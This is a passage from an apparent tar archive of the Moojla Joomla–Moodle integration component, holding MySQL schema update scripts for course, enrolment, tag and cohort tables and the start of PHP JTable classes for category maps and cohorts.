`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`access` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_name` (`name`),
KEY `idx_access` (`access`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.48.sql000064400000000141151165724400011427
0ustar00ALTER TABLE `#__moojla_joomla_tag` ADD `name` VARCHAR(255) NOT NULL
DEFAULT '' AFTER `asset_id`;
sql/updates/mysql/1.0.49.sql000064400000002222151165724400011432
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_joomla_tag` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`name` VARCHAR(255) NOT NULL DEFAULT '',
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`access` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_name` (`name`),
KEY `idx_access` (`access`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.5.sql000064400000002305151165724400011344
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_enrolment` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`remoteid` INT(10) NOT NULL DEFAULT 0,
`username` VARCHAR(64) NOT NULL DEFAULT '',
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`access` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_remoteid` (`remoteid`),
KEY `idx_access` (`access`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.50.sql000064400000002221151165724400011421
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_joomlatag` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`name` VARCHAR(255) NOT NULL DEFAULT '',
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`access` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_name` (`name`),
KEY `idx_access` (`access`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.51.sql000064400000000142151165724400011422
0ustar00ALTER TABLE `#__moojla_tag_instance` CHANGE `moodletags`
`moodletag` INT(100) NOT NULL DEFAULT 0;
sql/updates/mysql/1.0.52.sql000064400000000142151165724400011423
0ustar00ALTER TABLE `#__moojla_tag_instance` ADD `moodletag` INT(10) NOT
NULL DEFAULT 0 AFTER `asset_id`;
sql/updates/mysql/1.0.53.sql000064400000000457151165724400011435
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_favorite` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`userid` INT(11) NOT NULL DEFAULT 0,
`courseid` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.54.sql000064400000000516151165724400011432
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_rate` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`userid` INT(11) NOT NULL DEFAULT 0,
`courseid` INT(11) NOT NULL DEFAULT 0,
`rate` INT(4) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.55.sql000064400000000135151165724400011430
0ustar00ALTER TABLE `#__moojla_enrolment` ADD `moojlacourse` INT(11) NOT
NULL DEFAULT 0 AFTER `jid`;
sql/updates/mysql/1.0.56.sql000064400000002326151165724400011435
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_enrolment` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`jid` INT(11) NOT NULL DEFAULT 0,
`moojlacourse` INT(11) NOT NULL DEFAULT 0,
`role` VARCHAR(64) NOT NULL DEFAULT '',
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_jid` (`jid`),
KEY `idx_moojlacourse` (`moojlacourse`),
KEY `idx_role` (`role`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.57.sql000064400000000135151165724400011432
0ustar00ALTER TABLE `#__moojla_enrolment` ADD `moojlacourse` INT(11) NOT
NULL DEFAULT 0 AFTER `jid`;
sql/updates/mysql/1.0.58.sql000064400000000124151165724400011431
0ustar00ALTER TABLE `#__moojla_course` ADD `catid` INT(64) NULL DEFAULT 0
AFTER `cat_name`;
sql/updates/mysql/1.0.59.sql000064400000000121151165724400011427
0ustar00ALTER TABLE `#__moojla_user_map` ADD `userimage` varchar(255) NULL
DEFAULT NULL;
sql/updates/mysql/1.0.6.sql000064400000000313151165724400011342
0ustar00ALTER TABLE `#__moojla_course` ADD `in_enrol_date` VARCHAR(10) NOT
NULL DEFAULT '' AFTER `guest`;
ALTER TABLE `#__moojla_course` ADD `self_enrolment` VARCHAR(10) NOT NULL
DEFAULT '' AFTER `remoteid`;
sql/updates/mysql/1.0.60.sql000064400000002105151165724400011423
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_category_map` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`jcatid` INT(64) NULL DEFAULT 0,
`mcatid` INT(64) NULL DEFAULT 0,
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.61.sql000064400000002044151165724400011426
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_language` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`language` VARCHAR(7) NULL DEFAULT '',
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.62.sql000064400000000272151165724400011430
0ustar00ALTER TABLE `#__moojla_language` ADD `key` VARCHAR(255) NULL
DEFAULT '' AFTER `asset_id`;
ALTER TABLE `#__moojla_language` ADD `value` VARCHAR(1024) NULL DEFAULT
'' AFTER `language`;
sql/updates/mysql/1.0.63.sql000064400000000205151165724400011425
0ustar00ALTER TABLE `#__moojla_course` ADD `course_detail_layout`
VARCHAR(255) NULL DEFAULT '' AFTER
`course_templatestyle_forcourseconfig`;
sql/updates/mysql/1.0.64.sql000064400000000321151165724400011425
0ustar00ALTER TABLE `#__moojla_course` ADD `loginurl` VARCHAR(255) NULL
DEFAULT '' AFTER `in_enrol_date`;
ALTER TABLE `#__moojla_course` ADD `registrationurl` VARCHAR(255) NULL
DEFAULT '' AFTER `permanent_fields`;
sql/updates/mysql/1.0.65.sql000064400000000135151165724400011431
0ustar00ALTER TABLE `#__moojla_user_map` ADD `updatetype` TINYINT(3) NOT
NULL DEFAULT 1 AFTER `mid`;
sql/updates/mysql/1.0.66.sql000064400000000141151165724400011427
0ustar00ALTER TABLE `#__moojla_user_map` CHANGE `updatetype` `updatetype`
TINYINT(3) NOT NULL DEFAULT 1;
sql/updates/mysql/1.0.67.sql000064400000000155151165724400011435
0ustar00ALTER TABLE `#__moojla_enrolment` ADD `enrolldate` DATETIME NOT
NULL DEFAULT CURRENT_TIMESTAMP AFTER `role`;
sql/updates/mysql/1.0.68.sql000064400000000136151165724400011435
0ustar00ALTER TABLE `#__moojla_user_map` ADD `debug` VARCHAR(10) NULL
DEFAULT NULL AFTER `userimage`;
sql/updates/mysql/1.0.69.sql000064400000000001151165724400011425 0ustar00
sql/updates/mysql/1.0.7.sql000064400000000134151165724400011344
0ustar00ALTER TABLE `#__moojla_enrolment` ADD `userid` INT(10) NOT NULL
DEFAULT 0 AFTER `remoteid`;
sql/updates/mysql/1.0.70.sql000064400000002232151165724400011425
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_cohort` (
`id` INT(11) NOT NULL AUTO_INCREMENT,
`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
`course_group` INT(11) NOT NULL DEFAULT 0,
`mcohort` INT(11) NOT NULL DEFAULT 0,
`params` text NOT NULL,
`published` TINYINT(3) NOT NULL DEFAULT 1,
`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
`version` INT(10) unsigned NOT NULL DEFAULT 1,
`hits` INT(10) unsigned NOT NULL DEFAULT 0,
`ordering` INT(11) NOT NULL DEFAULT 0,
PRIMARY KEY (`id`),
KEY `idx_mcohort` (`mcohort`),
KEY `idx_course_group` (`course_group`),
KEY `idx_checkout` (`checked_out`),
KEY `idx_createdby` (`created_by`),
KEY `idx_modifiedby` (`modified_by`),
KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.71.sql000064400000001641151165724400011431
0ustar00ALTER TABLE `#__moojla_course` ADD `addcontrols` TINYINT(1) NOT
NULL DEFAULT 1 AFTER `asset_id`;
ALTER TABLE `#__moojla_course` ADD `autoplay` TINYINT(1) NOT NULL DEFAULT 0
AFTER `addcontrols`;
ALTER TABLE `#__moojla_course` ADD `autoplayaudio` TINYINT(1) NOT NULL
DEFAULT 0 AFTER `autoplay`;
ALTER TABLE `#__moojla_course` ADD `muted` TINYINT(1) NOT NULL DEFAULT 0
AFTER `loginurl`;
ALTER TABLE `#__moojla_course` ADD `preloadaudio` TINYINT(1) NOT NULL
DEFAULT 0 AFTER `permanent_fields`;
ALTER TABLE `#__moojla_course` ADD `preloadvideo` TINYINT(1) NOT NULL
DEFAULT 0 AFTER `preloadaudio`;
ALTER TABLE `#__moojla_course` ADD `preventdownload` TINYINT(1) NOT NULL
DEFAULT 0 AFTER `preloadvideo`;
ALTER TABLE `#__moojla_course` ADD `preventdownloadaudio` TINYINT(1) NOT
NULL DEFAULT 0 AFTER `preventdownload`;
ALTER TABLE `#__moojla_course` ADD `videotype` TINYINT(1) NOT NULL DEFAULT
1 AFTER `teachers`;
sql/updates/mysql/1.0.72.sql000064400000000321151165724400011424
0ustar00ALTER TABLE `#__moojla_course` ADD `useglobalaudio` TINYINT(1) NOT
NULL DEFAULT 1 AFTER `teachers`;
ALTER TABLE `#__moojla_course` ADD `useglobalvideo` TINYINT(1) NOT NULL
DEFAULT 1 AFTER `useglobalaudio`;
sql/updates/mysql/1.0.73.sql000064400000001533151165724400011433 0ustar00--
ALTER TABLE `#__moojla_course` ADD `autoplay` TINYINT(1) NOT NULL DEFAULT 0
AFTER `addcontrols`;
-- ALTER TABLE `#__moojla_course` ADD `autoplayaudio` TINYINT(1) NOT NULL
DEFAULT 0 AFTER `autoplay`;
-- ALTER TABLE `#__moojla_course` ADD `muted` TINYINT(1) NOT NULL DEFAULT 0
AFTER `loginurl`;
-- ALTER TABLE `#__moojla_course` ADD `preloadaudio` TINYINT(1) NOT NULL
DEFAULT 0 AFTER `permanent_fields`;
-- ALTER TABLE `#__moojla_course` ADD `preloadvideo` TINYINT(1) NOT NULL
DEFAULT 0 AFTER `preloadaudio`;
-- ALTER TABLE `#__moojla_course` ADD `preventdownload` TINYINT(1) NOT NULL
DEFAULT 0 AFTER `preloadvideo`;
-- ALTER TABLE `#__moojla_course` ADD `preventdownloadaudio` TINYINT(1) NOT
NULL DEFAULT 0 AFTER `preventdownload`;
-- ALTER TABLE `#__moojla_course` ADD `videotype` TINYINT(1) NOT NULL
DEFAULT 1 AFTER `useglobalvideo`;
sql/updates/mysql/1.0.74.sql000064400000002010151165724400011423
0ustar00ALTER TABLE `#__moojla_course` ADD `alterurl` VARCHAR(255) NULL
DEFAULT '' AFTER `addcontrols`;
ALTER TABLE `#__moojla_course` ADD `availabilityinfolink` TINYINT(1) NOT
NULL DEFAULT 2 AFTER `autoplayaudio`;
ALTER TABLE `#__moojla_course` ADD `buylbl` VARCHAR(50) NULL DEFAULT
'' AFTER `availabilityinfolink`;
ALTER TABLE `#__moojla_course` ADD `cangotomoodle` TINYINT(1) NOT NULL
DEFAULT 2 AFTER `buylbl`;
ALTER TABLE `#__moojla_course` ADD `enrollbl` VARCHAR(50) NULL DEFAULT
'' AFTER `enddate`;
ALTER TABLE `#__moojla_course` ADD `enterlbl` VARCHAR(50) NULL DEFAULT
'' AFTER `enrollbl`;
ALTER TABLE `#__moojla_course` ADD `freeenterlbl` VARCHAR(50) NULL DEFAULT
'' AFTER `enterlbl`;
ALTER TABLE `#__moojla_course` ADD `loginlbl` VARCHAR(50) NULL DEFAULT
'' AFTER `in_enrol_date`;
ALTER TABLE `#__moojla_course` ADD `popupbutton` TINYINT(1) NOT NULL
DEFAULT 2 AFTER `permanent_fields`;
ALTER TABLE `#__moojla_course` ADD `redirect_after_enrol` TINYINT(1) NOT
NULL DEFAULT 2 AFTER `preventdownloadaudio`;
sql/updates/mysql/1.0.75.sql000064400000000135151165724400011432
0ustar00ALTER TABLE `#__moojla_course` ADD `alias` CHAR(64) NOT NULL
DEFAULT '' AFTER `addcontrols`;
sql/updates/mysql/1.0.76.sql000064400000000362151165724400011435
0ustar00ALTER TABLE `#__moojla_course` ADD COLUMN IF NOT EXISTS
`showlogintab` TINYINT(1) NOT NULL DEFAULT 1 AFTER `shortname`;
ALTER TABLE `#__moojla_course` ADD COLUMN IF NOT EXISTS `showregtab`
TINYINT(1) NOT NULL DEFAULT 1 AFTER `showlogintab`;
sql/updates/mysql/1.0.8.sql000064400000000142151165724400011344
0ustar00ALTER TABLE `#__moojla_course` ADD `startdate` VARCHAR(255) NOT
NULL DEFAULT 0 AFTER `shortname`;
sql/updates/mysql/1.0.9.sql000064400000000137151165724400011351
0ustar00ALTER TABLE `#__moojla_enrolment` ADD `role` VARCHAR(64) NOT NULL
DEFAULT '' AFTER `remoteid`;
sql/updates/mysql/index.html000064400000000054151165724400012156
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>tables/category_map.php000064400000020572151165724400011214
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage category_map.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Categories_map Table class
*/
class MoojlaTableCategory_map extends JTable
{
/**
* Ensure the params and metadata in json encoded in the bind method
*
* @var array
* @since 3.3
*/
protected $_jsonEncode = array('params', 'metadata');
/**
* Constructor
*
* @param object Database connector object
*/
function __construct(&$db)
{
parent::__construct('#__moojla_category_map', 'id',
$db);
// Adding History Options
JTableObserverContenthistory::createObserver($this,
array('typeAlias' => 'com_moojla.category_map'));
}
public function bind($array, $ignore = '')
{
if (isset($array['params']) &&
is_array($array['params']))
{
$registry = new JRegistry;
$registry->loadArray($array['params']);
$array['params'] = (string) $registry;
}
if (isset($array['metadata']) &&
is_array($array['metadata']))
{
$registry = new JRegistry;
$registry->loadArray($array['metadata']);
$array['metadata'] = (string) $registry;
}
// Bind the rules.
if (isset($array['rules']) &&
is_array($array['rules']))
{
$rules = new JAccessRules($array['rules']);
$this->setRules($rules);
}
return parent::bind($array, $ignore);
}
/**
* Overload the store method for the Category_map table.
*
* @param boolean Toggle whether null values should be updated.
* @return boolean True on success, false on failure.
* @since 1.6
*/
public function store($updateNulls = false)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if ($this->id)
{
// Existing item
$this->modified = $date->toSql();
$this->modified_by = $user->get('id');
}
else
{
// New category_map. A category_map created and created_by field can be
set by the user,
// so we don't touch either of these if they are set.
if (!(int) $this->created)
{
$this->created = $date->toSql();
}
if (empty($this->created_by))
{
$this->created_by = $user->get('id');
}
}
if (isset($this->alias))
{
// Verify that the alias is unique
$table = JTable::getInstance('category_map',
'MoojlaTable');
if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->setError(JText::_('COM_MOOJLA_CATEGORY_MAP_ERROR_UNIQUE_ALIAS'));
return false;
}
}
if (isset($this->url))
{
// Convert IDN urls to punycode
$this->url = JStringPunycode::urlToPunycode($this->url);
}
if (isset($this->website))
{
// Convert IDN urls to punycode
$this->website = JStringPunycode::urlToPunycode($this->website);
}
return parent::store($updateNulls);
}
/**
* Overloaded check method to ensure data integrity.
*
* @return boolean True on success.
*/
public function check()
{
if (isset($this->alias))
{
// Generate a valid alias
$this->generateAlias();
$table = JTable::getInstance('category_map',
'moojlaTable');
while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->alias = StringHelper::increment($this->alias,
'dash');
}
}
/*
* Clean up keywords -- eliminate extra spaces between phrases
* and cr (\r) and lf (\n) characters from string.
* Only process if not empty.
*/
if (!empty($this->metakey))
{
// Array of characters to remove.
$bad_characters = array("\n", "\r",
"\"", "<", ">");
// Remove bad characters.
$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);
// Create array using commas as delimiter.
$keys = explode(',', $after_clean);
$clean_keys = array();
foreach ($keys as $key)
{
// Ignore blank keywords.
if (trim($key))
{
$clean_keys[] = trim($key);
}
}
// Put array back together delimited by ", "
$this->metakey = implode(", ", $clean_keys);
}
// Clean up description -- eliminate quotes and <> brackets
if (!empty($this->metadesc))
{
// Only process if not empty
$bad_characters = array("\"", "<",
">");
$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
}
// If we don't have any access rules set at this point just use an
empty JAccessRules class
if (!$this->getRules())
{
$rules =
$this->getDefaultAssetValues('com_moojla.category_map.'.$this->id);
$this->setRules($rules);
}
// Set ordering
if ($this->published < 0)
{
// Set ordering to 0 if state is archived or trashed
$this->ordering = 0;
}
return true;
}
/**
* Gets the default asset values for a component.
*
* @param $string $component The component asset name to search for
*
* @return JAccessRules The JAccessRules object for the asset
*/
protected function getDefaultAssetValues($component, $try = true)
{
// Need to find the asset id by the name of the component.
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from($db->quoteName('#__assets'))
->where($db->quoteName('name') . ' = ' .
$db->quote($component));
$db->setQuery($query);
$db->execute();
if ($db->loadRowList())
{
// asset already set so use saved rules
$assetId = (int) $db->loadResult();
return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
}
// try again
elseif ($try)
{
$try = explode('.',$component);
$result = $this->getDefaultAssetValues($try[0], false);
if ($result instanceof JAccessRules)
{
if (isset($try[1]))
{
$_result = (string) $result;
$_result = json_decode($_result);
foreach ($_result as $name => &$rule)
{
$v = explode('.', $name);
if ($try[1] !== $v[0])
{
// remove since it is not part of this view
unset($_result->$name);
}
else
{
// clear the value since we inherit
$rule = array();
}
}
// check if there are any view values remaining
if (count( (array) $_result))
{
$_result = json_encode($_result);
$_result = array($_result);
// Instantiate and return the JAccessRules object for the asset
rules.
$rules = new JAccessRules;
$rules->mergeCollection($_result);
return $rules;
}
}
return $result;
}
}
return JAccess::getAssetRules(0);
}
/**
* Method to compute the default name of the asset.
* The default name is in the form 'table_name.id'
* where id is the value of the primary key of the table.
*
* @return string
* @since 2.5
*/
protected function _getAssetName()
{
$k = $this->_tbl_key;
return 'com_moojla.category_map.'.(int) $this->$k;
}
/**
* Method to return the title to use for the asset table.
*
* @return string
* @since 2.5
*/
protected function _getAssetTitle()
{
if (isset($this->title))
{
return $this->title;
}
return '';
}
/**
* Get the parent asset id for the record
*
* @return int
* @since 2.5
*/
protected function _getAssetParentId(JTable $table = NULL, $id = NULL)
{
$asset = JTable::getInstance('Asset');
$asset->loadByName('com_moojla');
return $asset->id;
}
/**
* This view does not actually have an alias
*
* @return bool
*/
public function generateAlias()
{
return false;
}
}
tables/cohort.php000064400000020453151165724400010036 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage cohort.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Cohorts Table class
*/
class MoojlaTableCohort extends JTable
{
/**
* Ensure the params and metadata in json encoded in the bind method
*
* @var array
* @since 3.3
*/
protected $_jsonEncode = array('params', 'metadata');
/**
* Constructor
*
* @param object Database connector object
*/
function __construct(&$db)
{
parent::__construct('#__moojla_cohort', 'id', $db);
// Adding History Options
JTableObserverContenthistory::createObserver($this,
array('typeAlias' => 'com_moojla.cohort'));
}
public function bind($array, $ignore = '')
{
if (isset($array['params']) &&
is_array($array['params']))
{
$registry = new JRegistry;
$registry->loadArray($array['params']);
$array['params'] = (string) $registry;
}
if (isset($array['metadata']) &&
is_array($array['metadata']))
{
$registry = new JRegistry;
$registry->loadArray($array['metadata']);
$array['metadata'] = (string) $registry;
}
// Bind the rules.
if (isset($array['rules']) &&
is_array($array['rules']))
{
$rules = new JAccessRules($array['rules']);
$this->setRules($rules);
}
return parent::bind($array, $ignore);
}
/**
* Overload the store method for the Cohort table.
*
* @param boolean Toggle whether null values should be updated.
* @return boolean True on success, false on failure.
* @since 1.6
*/
public function store($updateNulls = false)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if ($this->id)
{
// Existing item
$this->modified = $date->toSql();
$this->modified_by = $user->get('id');
}
else
{
// New cohort. A cohort created and created_by field can be set by the
user,
// so we don't touch either of these if they are set.
if (!(int) $this->created)
{
$this->created = $date->toSql();
}
if (empty($this->created_by))
{
$this->created_by = $user->get('id');
}
}
if (isset($this->alias))
{
// Verify that the alias is unique
$table = JTable::getInstance('cohort',
'MoojlaTable');
if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
